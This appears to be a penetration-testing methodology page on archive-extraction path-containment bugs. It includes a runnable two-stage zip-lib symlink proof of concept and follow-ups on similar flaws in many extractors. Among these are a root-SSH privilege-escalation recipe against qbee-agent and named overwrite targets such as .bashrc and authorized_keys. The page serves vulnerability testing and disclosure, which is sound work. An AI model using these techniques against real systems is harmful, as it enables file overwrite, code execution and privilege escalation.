Skip to content

zip-lib multi-stage symlink and path-prefix extraction boundary

GHSA-73hr-7685-xwj3 / CVE-2026-17524 exposes a reusable archive-testing pattern: one extraction creates a directory symlink, then a later extraction into the same destination writes through that persisted link. The first fix added real-path checks for existing symlink directories, but compared paths as raw string prefixes. A sibling directory whose name begins with the extraction root can therefore be mistaken for a child until the comparison is made component-aware.

Sources:

The unreviewed GHSA published on July 28 says versions before 1.1.0 are affected. A disposable Linux fixture run for this page reproduced an outside-root marker write in 1.0.0, 1.1.0, 1.1.1, 1.1.2, and 1.2.0 when the outside directory was a lexical sibling-prefix of the extraction root. The same fixture was rejected by 1.2.1 through 1.4.0. Treat that as a precise tested representation, not a replacement affected-range claim: record the installed artifact, platform, options, destination spelling, symlink target, and fixed-build control in every report.

Disposable extraction root only

Run this only in a temporary directory on an isolated Linux test host. Use one benign text marker and a sibling directory created for the test. Never target home directories, application roots, package hooks, startup files, credentials, or executable paths. Do not run untrusted archives on production systems.

Preconditions and inputs

Confirm all of these before testing:

  • the application invokes zip-lib extraction on attacker-controlled or tenant-controlled ZIP content;
  • two or more archives, jobs, retries, or resumptions can reuse one destination directory;
  • symlink entries are materialized on the tested platform and extraction options do not intentionally store them as ordinary files;
  • the process can create symlinks and write to the selected disposable sibling directory;
  • the exact package version and resolved package tree are captured with npm list zip-lib --depth=0;
  • the test destination contains no real application or user data.

Package presence alone is not enough. The exploit path is persistent extraction destination + symlink-bearing first stage + later descendant entry + final canonical path outside the destination.

Build a marker-only two-stage fixture

The following creates out/ and its sibling outside/. The first archive contains only pivot -> ../outside; the second contains only pivot/proof.txt. The payload is a fixed benign string.

mkdir zip-lib-boundary-lab
cd zip-lib-boundary-lab
npm init -y
npm install zip-lib@1.0.0

mkdir out outside
python3 - <<'PY'
import stat
import zipfile

with zipfile.ZipFile("stage1.zip", "w", zipfile.ZIP_DEFLATED) as archive:
    entry = zipfile.ZipInfo("pivot")
    entry.create_system = 3
    entry.external_attr = (stat.S_IFLNK | 0o777) << 16
    archive.writestr(entry, "../outside")

with zipfile.ZipFile("stage2.zip", "w", zipfile.ZIP_DEFLATED) as archive:
    archive.writestr("pivot/proof.txt", "ZIP_LIB_BOUNDARY_CANARY\n")
PY

cat > run.js <<'JS'
const zl = require("zip-lib");

(async () => {
  await zl.extract("stage1.zip", "out", { symlinkAsFileOnWindows: false });
  await zl.extract("stage2.zip", "out", { symlinkAsFileOnWindows: false });
})().catch((error) => {
  console.error(`${error.name}:${error.message}`);
  process.exit(2);
});
JS

node run.js
test -f outside/proof.txt
sha256sum outside/proof.txt

For the exact marker above, the expected SHA-256 is:

f70741a799a13633f10b3103dbc76e563241ab364d0a6a94491dcbd6e2aa5fde

Capture the archive listings, lstat/realpath of out/pivot, destination and sibling paths, process exit code, marker hash, and filesystem write trace. Do not retain a reusable hostile archive after the engagement.

Separate the two bugs with a representation matrix

Test absolute containment and lexical-prefix containment separately:

Variant Symlink target What it tests Safe expected control
child child below out/ normal in-root extraction marker remains under out/
ordinary outside sibling a sibling whose name does not begin with out initial real-path confinement extraction rejects the later write
sibling-prefix ../outside while root is out raw indexOf(...) === 0 confusion component-aware builds reject
broken symlink nonexistent disposable sibling error handling no outside marker
symlink stored as file platform/option-specific file behavior reachability negative control no traversal through a directory link
fresh destination per archive different output roots state-reuse precondition second stage cannot traverse the first stage's link

The initial fix checked whether realpath.indexOf(realTargetFolder) === 0. For paths such as /tmp/lab/out and /tmp/lab/outside, that expression reports a prefix even though the latter is not a descendant. The later fix routes this decision through the library's component-aware isOutside helper. Preserve both canonical paths in evidence; the marker alone does not explain which guard failed.

Affected-versus-control replay

Use a fresh extraction root for every version and do not reuse node_modules evidence without recording the resolved package:

  1. Run the two-stage fixture against the version actually used by the target integration.
  2. Record whether stage one creates a symlink and whether stage two exits successfully, raises AFWRITE, or fails earlier.
  3. Remove only the disposable marker and symlink, then recreate empty out/ and outside/ directories.
  4. Install zip-lib@1.2.1 or a newer known control and repeat the identical fixture.
  5. Confirm that the control returns an outside-write refusal and leaves outside/proof.txt absent.
  6. Repeat with a fresh destination per archive to prove whether cross-job destination reuse is required by the application.

The page's Linux version matrix was:

Versions tested Sibling-prefix marker Observed result
1.0.0, 1.1.0, 1.1.1, 1.1.2, 1.2.0 present process completed and marker appeared outside out/
1.2.1 through 1.4.0 absent AFWRITE refusal on the second-stage entry

Do not generalize this table to Windows, alternate symlink options, downstream forks, or vendor backports without replay. The test specifically covers a relative directory symlink to a disposable sibling-prefix path on Linux.

Extend the technique to other extractors

Apply the same workflow when reviewing upload processors, package importers, backup restore jobs, CI artifact unpackers, and desktop archive tools:

  • split link creation and descendant writes across separate archives or requests;
  • reuse a destination across jobs, retries, queue workers, or resumed imports;
  • compare a clean destination with a pre-seeded symlink destination;
  • include sibling-prefix names such as root versus root-canary, not only ../ and absolute paths;
  • vary slash style, case, Unicode normalization, trailing separators, and nonexistent targets where the platform makes them relevant;
  • trace the final opened path rather than trusting the archive entry name or joined lexical path;
  • require a fixed-version or component-aware containment control.

Archive validation must bind every write to the canonical destination at the moment of use. A clean first-pass scan or a cache scoped to one archive does not protect a destination whose filesystem state persists into the next extraction.

Reporting checklist

Include:

  • application feature, authentication state, and proof that an untrusted ZIP reaches extraction;
  • exact zip-lib package version, lockfile resolution, Node version, OS, and extraction options;
  • whether destination directories persist across archives, users, retries, or workers;
  • stage-one and stage-two archive hashes and redacted listings;
  • lexical root, canonical root, symlink target, canonical destination, and sibling-prefix relationship;
  • process exit codes, AFWRITE output where applicable, marker hash, and cleanup evidence;
  • affected and fixed/control results using the identical two-stage fixture;
  • a bounded impact statement: outside-root text-file write within the extractor user's existing permissions, not automatically code execution or persistence.

A strong finding is attacker-controlled first archive creates a directory symlink in a reusable extraction root -> later archive writes a benign descendant entry -> canonical destination resolves to a disposable sibling directory -> component-aware control rejects the same sequence.

October 9 00:3xZ follow-up: abspath-vs-realpath again in ansible-galaxy, and junction-last-component mkdir escape in Go's rooted FS (2 legs)

The lexical-vs-canonical theme this page was built on keeps reproducing in tools nobody thinks of as extractors:

  • ansible-core ansible-galaxy collection install GHSA-4jhw-j7jr-j479 / CVE-2026-89091 (high): the collection tarball extractor validates member paths with lexical normalization (os.path.abspath) instead of symlink resolution (os.path.realpath), and performs no containment check on symlink-typed directory members before creating them. A crafted collection chains symlink directory entries so a later file member lands outside the destination, arbitrary file write as the user running ansible-galaxy, control-node code execution. Explicitly a bypass of the fix for CVE-2020-10691: the same product, same class, six-year-old patch, still lexical. Operator angle: on engagements where an automation/CI control node installs collections or roles from shared hubs or repo-pinned requirements files, a trusted-looking collection is an extraction fixture, prove with a two-stage marker in a disposable install root, and check whether the same extractor helper is reused by other ansible surfaces (fix-parity sweep).
  • Go io/fs-style rooted filesystems GHSA-c3q7-m35p-9qq7 / CVE-2026-56857 (Windows): when the target of Root.Mkdir/MkdirAll is a junction pointing to an empty location, the operation creates the directory at the junction target even outside the root, but only when the junction is the last path component (path/to/junction, not path/junction/target). Reusable axes: (1) Windows junctions are the escape primitive for every "rooted" filesystem abstraction, this page's sibling-prefix/symlink battery gains a junction variant on the final component, with an empty target (the containment check sees nothing where it creates something); (2) test last-component and intermediate-component link positions separately, many containment fixes cover one position and miss the other, and this advisory is precisely the missed position.

Same fixture discipline as the rest of the page: disposable roots, marker files, pre-seeded junction/symlink destinations, affected-vs-patched replay, and never a real config or shell-startup target.

The busybox tar applet defers symlink/hardlink member creation (so targets exist first) and marks "unsafe-looking" targets for handling, but when the deferred link is actually created, nothing re-validates that the resolved destination stays inside the extraction directory. The published recipe pairs a symlink member whose target is exactly .. with a deferred hardlink: the result creates a new file outside the extraction directory, or, if the extraction directory is reused across two archives, replaces an existing file outside it. Elevated extraction = LPE/arbitrary code execution.

Operator axes this adds to the page's two-stage discipline:

  • Validate-at-enqueue ≠ validate-at-execute. The unsafe-target detection ran on the raw member string at read time; the containment-relevant fact (where does the link resolve when created, after earlier members landed?) only exists at create time. This is the deferred-action twin of the extract-before-decide pattern (Nginx UI restore, Oct 9), the security decision and the state it depends on are separated in time, and the check uses the stale view.
  • .. as the exact symlink target is the fingerprint mutation. Most unsafe-path filters look for /, absolute paths, or the ../ prefix; a lone .. token is a link to the parent itself, and the hardlink created through it inherits the parent's location. Add .., ., and single-component relative spellings as their own test cases, separate from the traversal-string battery.
  • Archive-extractor reuse across runs is a stateful attack surface. The "reuse the extraction directory across two archives" leg means the first archive's filesystem effects are the second archive's fixture, exactly this page's multi-stage model, but the stages are invocations, not members. When testing any container build-context, package manager, or CI cache that extracts into a persistent directory, run the two-archive sequence deliberately: stage A plants the link, stage B lands the payload.
  • Validation stays on this page's rails: disposable extraction roots, marker-only hardlinks into your own scratch dirs, affected-vs-patched busybox builds side by side, never root-extraction against system paths.

The data and tar extraction filters, the officially recommended replacement for extractall(path) in every security-minded Python codebase, are bypassable with a crafted archive containing a hard link to a symbolic link. The chain modifies permissions or modification time of a file outside the destination directory, or exposes that file's contents within the extracted tree.

Operator axes:

  • The blessed safe API is the thing that shipped the bug. Millions of extractall(..., filter="data") call sites (the post-CVE-2007-4559 hardening answer) are now a known-broken guard at ≤3.13. When a product's fix for an extraction bug was "switch to the stdlib filter," the filter itself becomes the fuzz target; fingerprint the interpreter version running the extractor, not just the app version, CI runners, dataset loaders, and model-artifact unpackers pin Python, not tarfile.
  • Hardlink-to-symlink is the second-order link primitive. Filters validate the member being extracted; a hardlink member's target is a symlink, and the filter's per-member verdict applies to the hardlink while the effect lands through the symlink. Add hardlink→symlink→outside target to the fixture battery next to this page's symlink-..-plus-hardlink busybox leg (same primitive, different layer, the busybox bug was deferred-creation re-validation, this one is filter semantics on link chains).
  • Effects without writes: permission/mtime modification outside the destination is quieter than file write and still exploitable (world-readable key material via chmod, cron/systemd reload triggers via mtime, content disclosure via the extracted-tree copy). Enumerate extractor sinks for metadata ops, not just content writes.
  • Validation: own lab, both filter modes, marker files in a scratch root, affected-vs-patched interpreters side by side (fix commits 5a57248/b38be2e/b8f23e3 et al. shipped across 3.9-3.13 branches); never extract crafted archives as root or into real config paths.

October 14 follow-up: BBOT unarchive, the guard parses one listing grammar; legacy p7zip prints another (CVE-2026-14966 / GHSA-xpf3-p7gm-7756, low, bbot ≥2.3.1 <3.0.0)

BBOT's unarchive module rejects archives containing symlink entries before extraction, but for zip/7z it detected symlinks by parsing the tool's listing output, and missed entries whose listing line carries a DOS-attribute prefix before the unix mode, as emitted by legacy p7zip builds. Such an archive (fetched mid-scan, e.g. via filedownload) slipped the guard and planted an attacker-controlled symlink in the extraction directory. The target is not written through, and only hosts with the legacy listing grammar are affected, but the guard bypass is the durable lesson, and it applies to any defensive scanner you build or test against.

Operator axes:

  • Detection that parses a tool's textual output is grammar-coupled. The guard's correctness depends on the exact column layout of 7z l/unzip -l output, a third-party binary whose format changed across versions. When auditing scanner/AV/sandbox extractors, ask whether the symlink/traversal check reads structured metadata (zip external attributes, tar mode bits) or greps a subprocess's stdout; then hunt for alternate listing grammars (legacy p7zip, DOS-attribute prefixes, EBCDIC-ish tar variants, different locales) that hide the link bit.
  • Guard-bypass fixture battery: same symlink payload, rendered through every listing/format dialect, modern 7-Zip, legacy p7zip, Info-ZIP, Python zipfile, tar with pax headers. One dialect passing the pre-check while extraction still creates the link = the finding. This page's representation-matrix method applies to the guard's input view, not just the extractor's.
  • Recon-scanner supply angle: BBOT ships as an offensive-recon tool; its extraction guard was a downstream safety for scan operators. If your pipeline chains recon tools into automated extraction, fingerprint the host's archive-tool builds (7z, p7zip, unzip), a legacy build silently downgrades the guard while everything looks patched.
  • Validation stays on this page's rails: your own scan targets/downloads only, marker symlink into a scratch dir, affected-vs-patched bbot (fix in 3.0.0) side by side, legacy-p7zip container as the dialect fixture.

The Oct 11 leg proved a hardlink to a symlink defeats tarfile's extraction filters; the Oct 22 advisory is its explicit counterpart on the other filter: filter="tar" is bypassed by crafted link entries whose names are empty or directory-like, redirecting later members outside the destination. The data_filter twin was CVE-2026-7774, the naming tells you the maintenance story: the same link-entry class had to be fixed twice, once per filter mode.

Operator axes:

  • Filter-name enumeration is the CPython extraction fingerprint. tarfile.extractall() has exactly the guard modes data and tar; a fix landing in one does not imply the other (proven now across two bug generations, 7774→114583 and the Oct 11 hardlink pair). When testing any Python pipeline that unpacks archives you fetched, run your link payload battery, hardlink-to-symlink, symlink-to-dir, empty-name link, directory-like-name link, under BOTH filter strings and compare resolved write paths. Version band is unreviewed/thin in the GHSA (no package rows filled), so treat behavior probes, not version strings, as ground truth.
  • Empty and directory-like link targets are parser-differential bait. A linkname that is "", /, or ends in / lands in the gap between "is this a link we must confine" and "what does the resolution code walk into", the same validate-one-object-write-another shape as the busybox deferred-hardlink and CodeIgniter move() legs on this page. Any allow/deny predicate written over link names rather than resolved targets will classify these as neither-link-nor-traversal.
  • Rails unchanged: crafted archives extract only into a scratch root on your own machine, marker files only, affected-vs-patched interpreters side by side; never extract attacker archives as root or into real config paths.

oc image extract fails to sanitize symbolic and hard link targets pointing to absolute paths or sibling directories of the extraction destination, plus a chained file entry referencing locations outside the destination, an attacker who supplies a malicious container image writes attacker-controlled content anywhere the extracting user can write.

Operator axes:

  • Container images ARE archives; every image client is an extractor. This is the tar/link confinement class arriving in the oc CLI: the same hardlink/symlink/chain payloads from this page's battery apply to docker save|podman pull, crane, skopeo, and CI steps that extract layers (--extract, cache warmer jobs, image-export pipelines). Treat "supply a crafted image" as a first-class supply-chain primitive wherever a human or CI job extracts layers onto a workstation.
  • Siblings, not just parents. The advisory names sibling directories of the destination as an escape target alongside absolute paths, a link confined only by "no .." or "under a prefix that resolves loosely" still lands next door (same validate-one-object-write-another shape as the tarfile empty-name leg above). Confinement probes must include: absolute target, .. target, sibling-directory target, hardlink-to-symlink chain, and a file entry chained behind a link.
  • The registry is the payload host. Crafting is trivial (tar with hand-written link headers + oras/buildah layer push to any registry you can pull from); recon question on any pipeline: does anything oc image extract/untar layers from images that are not yours? Proof rails: disposable image with marker link entries, extract into a scratch dir on your own machine, observe marker outside destination, patched-client negative control.

October 28 follow-up: zip crate ZIP Cloaking, LFH-vs-CDFH dual-header parser differential defeats every scanner that reads the central directory (GHSA-m665-v7pm-7grj / CVE-2026-115905, critical 9.8, zip-rs zip <= 9.0.4, fixed 9.0.5)

The most general archive-trust bug class this page has seen, generalized from one library to the format itself: PKWARE ZIP stores every entry twice, Local File Header (body) and Central Directory File Header (end-of-archive index). In zip crate:

  • ZipArchive (random-access reader) treats the CDFH as authoritative and ignores the LFH filename entirely.
  • ZipStreamReader (streaming extractor) never consults the central directory, it writes files to disk using the LFH-declared name only.

So one archive presents different paths and different contents depending on which reader you are. Any pipeline where the scanner and the extractor use different readers (AV/malware scan inspects CDFH names and hashes; deployment/CI extracts via streaming, or vice versa) gets a complete security-control bypass: the scanned view is benign, the written view is arbitrary file overwrite → RCE. The crate even ships the desync generator: shallow_copy_file (src/write.rs:1552) adds a new CDFH alias entry pointing at an existing file without updating the LFH, dual-header desynchronization is a documented API.

Operator axes:

  • Dual-header cloaking is scanner-agnostic and format-general. Same class exists in JAR-vs-ZIP signature coverage (only CDFH-signed entries are covered; LFH cloaks work there too) and any container with index+body duplication. Test question on any upload pipeline: which header does the validator read, and which does the writer read? Fingerprint: give the scanner and the extractor the same crafted archive and diff the two views, filename mismatch table is the finding.
  • Crafting is one API call (shallow_copy_file) or two hex edits (LFH name bytes differ from CDFH name for the same offset). Build the canary: CDFH name = benign.txt, LFH name = path-overwrite target; scan-clean extract-dirty proves the differential without any payload.
  • Sweep the sibling readers. If the ecosystem's flagship Rust zip library let the two readers disagree about authority for this long, check every other consumer in the same stack (zip CLI, sidecar dedupe/unpack tools, package managers) for the streaming path specifically, streaming extractors are the ones that skip the central directory by design.
  • Validation boundary: local disposable archive + scratch extraction dir; observe mismatched write target; patched 9.0.5 negative control. Never deploy the overwrite-target shape against shared systems.

ZipArchive::extract validates symlink targets lexically (starts_with-style against the extraction root) instead of resolving them, this page's founding bug class, now confirmed in the flagship Rust crate, with two new operator axes:

  • The destination path itself is a guessing precondition, not an unknown. Exploitation requires knowing (or guessing) the extraction destination's absolute path, and the advisory names the realistic corpus: CI workspaces, /opt/app, fixed Downloads paths. Flip it into recon: on authorized CI/build assessments, destination paths are enumerable (pipeline configs, Dockerfiles, runners' default workspace env vars). "Attacker must know the path" fails as a severity argument wherever the path is config-derived.
  • Prefix-discarding path components break starts_with categorically on Windows (verified on real hardware): the crate's simplified_components drops the drive/UNC Prefix component, so D:\<same tail as dest> and \\attacker\share\<same tail> pass the check and outpath.push swaps the root, one symlink suffices, no chain. This is the exact rule the AGENTS corpus already codified from the Git C reimplementations sweep: Windows has_dos_drive_prefix() handling is the deny-list check reimplementations must copy, any Rust/Go/JS path-containment helper that normalizes before comparing is a candidate for the same prefix-loss. Add drive-letter and UNC spellings to every lexical-containment battery on Windows targets (needs SeCreateSymbolicLinkPrivilege or Developer Mode, which is a common CI-runner posture, so CI is the natural hunting ground).
  • extract() returns Ok(()) on out-of-root writes, no error surfaces on the escape path, so detection-by-exception does not exist. When testing, prove containment with a marker file read-back outside the root, not with the API's return value. Sibling advisory in the same wave worth one line in the fixture battery: GHSA-q7v9-x93c-xqv3 (unbounded symlink-target handling abort/exhaustion), same crate, resource-cost leg, tracked as DoS-only.
  • Validation: scratch extraction dirs, marker-only writes into your own paths, affected 8.x vs patched 9.0.0 side by side; never extract into real config/system paths.

November 16 follow-up: qbee-agent tar containment uses strings.HasPrefix without a separator boundary, so ../context-outside/ passes for destdir context (GHSA-vx32-xf7g-9ghr / CVE-2026-129237, medium, go.qbee.io/agent < eb7875f)

The oldest bug class on this page, reconfirmed in a fleet agent's Docker Compose build-context unpacker (app/utils/tar.go): containment was strings.HasPrefix(filepath.Clean(join(destPath, entry)), filepath.Clean(destPath)) with no trailing-separator check, so an entry ../context-outside/payload.txt cleans to <dest>-outside/payload.txt, still prefix-matches /…/context, and gets os.MkdirAll + os.Create outside the extraction root. The archive is a remote-config-supplied build context (attacker-controlled whenever bundle config is), making this agent-side supply-chain file write on every host running the agent with UseContext enabled.

  • Durable rule: any lexical containment that compares prefixes must append a separator to the expected root before comparing (target == root || strings.HasPrefix(target, root + string(os.PathSeparator))). Grep fingerprint for Go codebases: HasPrefix( near filepath.Clean/filepath.Join with no + string(os.PathSeparator) or + "/" on the root side. Same defect exists in every language's naive version; on assessments of agents/daemons that unpack remote archives, run the sibling-name probe first (../<basename>-outside/x), because it is one entry and defeats the most common implementation without any symlink privilege.
  • Validation: your own lab agent or a unit-level harness with a synthetic dest dir and a marker file at <dest>-outside/; never point a managed fleet agent at an attacker-reachable bundle config.

The same fleet agent that shipped the Zip Slip above adds a local-privilege leg with a durable generalization for any root-running config-management/agent daemon (Ansible-pull-style appliers, MDM agents, provisioning daemons): the createFile helper follows symlinks with no ownership or O_NOFOLLOW discipline. Primary vector needs no special config: if your unprivileged account is managed by the agent's SSH-keys bundle, replace ~/.ssh with a symlink to /root/.ssh; on the next configuration apply, the agent, running as root, writes your server-provisioned public key into /root/.ssh/authorized_keys, and you SSH in as root. Because the symlink lives inside your own home directory, the kernel fs.protected_symlinks hardening is irrelevant (it only protects symlinks in world-writable sticky directories), so the protection operators assume is active does not cover attacker-owned paths. Secondary vectors: a predictable world-writable RAUC staging path (/tmp/.bundle.raucb.part) symlinked to /etc/shadow when protected_symlinks=0, and file-distribution destinations under unprivileged-owned directories getting re-owned by the agent.

  • Durable rules: (1) Root-daemon writes into unprivileged-writable trees are symlink pivots by construction. On any managed device with a config-management agent, enumerate paths the agent writes that are owned by (or writable by) your uid: ~/.ssh, agent cache/staging dirs, template destinations. Replace each with a symlink to a canary outside your namespace and watch what root writes. (2) Do not trust fs.protected_symlinks as coverage, it guards sticky world-writable dirs only; home-directory and per-user state directories are unprotected, so agent LPE hunting should start exactly there. (3) Predictable /tmp staging names for update downloads belong on the same audit list as the updater pages: sweep /tmp for dotfile .part names an agent will later open with truncate/write semantics.
  • Validation: your own lab instance of the managed OS with a disposable root SSH key canary; prove the pivot by planting a marker pubkey via your own symlinked ~/.ssh, never on customer production devices.

November 26 follow-up: the trusted-download helpers themselves, torchvision _extract_tar, lastversion extract_tar, and JAL backup restore all land the same tar symlink/write chain (CVE-2026-137507 / GHSA-c26x-8h8m-rv92, CVE-2026-137539 / GHSA-r9g7-m2v3-69vq, CVE-2026-137529 / GHSA-j537-3hpf-wqm3, high)

Three unrelated developer tools shipped this page's founding primitive in November:

  • torchvision < 0.29.2 _extract_tar(): .. paths, absolute paths, or symlink members in archives passed to extract_archive() / download_and_extract_archive() write outside the extraction dir, and the advisory names overwriting Python modules for code execution. The durable angle: download_and_extract_archive is the blessed helper in millions of dataset-setup scripts, so whoever controls the dataset host, mirror, or CDN path controls the archive, and the containment check is absent, not broken.
  • lastversion < 3.6.20 extract_tar(): tar symlink member followed by a file beneath it, writing e.g. usercustomize.py for code execution, reached by controlling a project's release assets. Same chain primitive as this page's zip-lib two-stage model, single archive, dev-tool sink.
  • JAL through 2026.11.3 backup restore: a crafted .tgz with a jal.sqlite symlink to an absolute path followed by a regular jal.sqlite member overwrites files such as shell startup scripts. Backup-restore sinks again (this page's extension list), with the symlink-then-write-same-name ordering as the fingerprint.

Operator rules from the cluster: (1) fingerprint the extractor inside the downloader, not the app. When testing ML dataset bootstrap, release-asset tooling, or desktop-app restore paths, the version string that matters is the library doing extraction (torchvision, lastversion, app restore code), and grep candidates are extractall, extract_tar, tarfile, shutil.unpack_archive without a member filter. (2) The archive source is the attack surface even when extraction is "local": dataset mirrors, GitHub release assets, and user-supplied backups are untrusted inputs feeding trusted helpers; on authorized assessments, ask who can mutate the URL/asset and treat that as code-path control. (3) Rails unchanged: disposable extraction roots, marker-only payloads, affected-vs-patched replay (torchvision 0.29.2, lastversion 3.6.20, JAL post-2026.11.3), never shell-startup or module targets outside scratch.

November 27 follow-up: GNOME Epiphany installs XPI extensions with libarchive defaults that skip every secure-extract option, so a browser-extension package overwrites your .bashrc (CVE-2026-77679 / GHSA-7m2r-2gmw-jrmw)

ephy-web-extension-manager.c's decompress_xpi_thread() built each output path by concatenating the extraction directory with the raw archive pathname via g_build_filename() and never set ARCHIVE_EXTRACT_SECURE_NODOTDOT or ARCHIVE_EXTRACT_SECURE_SYMLINKS on the libarchive writer. A malicious .xpi with ../../../../../.bashrc entries writes outside web_extensions/, landing on ~/.bashrc, ~/.config/autostart/*.desktop, or ~/.ssh/authorized_keys for persistent code execution at next shell or login.

Operator rules:

  1. libarchive extraction is NOT safe by default; the secure flags are opt-in. Any code path calling archive_write_header()/archive_read_extract() without ARCHIVE_EXTRACT_SECURE_NODOTDOT, ARCHIVE_EXTRACT_SECURE_SYMLINKS, and ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS is this page's primitive verbatim. When auditing or fingerprinting desktop apps that unpack archives (extension installers, plugin managers, update appliers), grep for archive_write_header / archive_read_extract and check the option bitmask, same audit posture as checking tarfile.extractall for a filter= argument.
  2. Extension/plugin package formats are archive carriers with a trust premium. Users are trained to install .xpi/.vsix/.crx-style packages from semi-trusted sources, and the installing process (browser, IDE, desktop app) usually runs as the user with write access to every dotfile that matters. On authorized assessments of app ecosystems, treat "install this package" as the delivery vector and prove with a marker file under your own scratch home, never a real shell-startup target.
  3. Sibling genealogy: this page's Nov 26 torchvision/lastversion/JAL cluster (blessed helpers without containment), qbee prefix check (Nov 16), and the browser-extension theme of the Aug 5 Electron page. The sentence stays: containment is a property of the extractor call, not the archive format.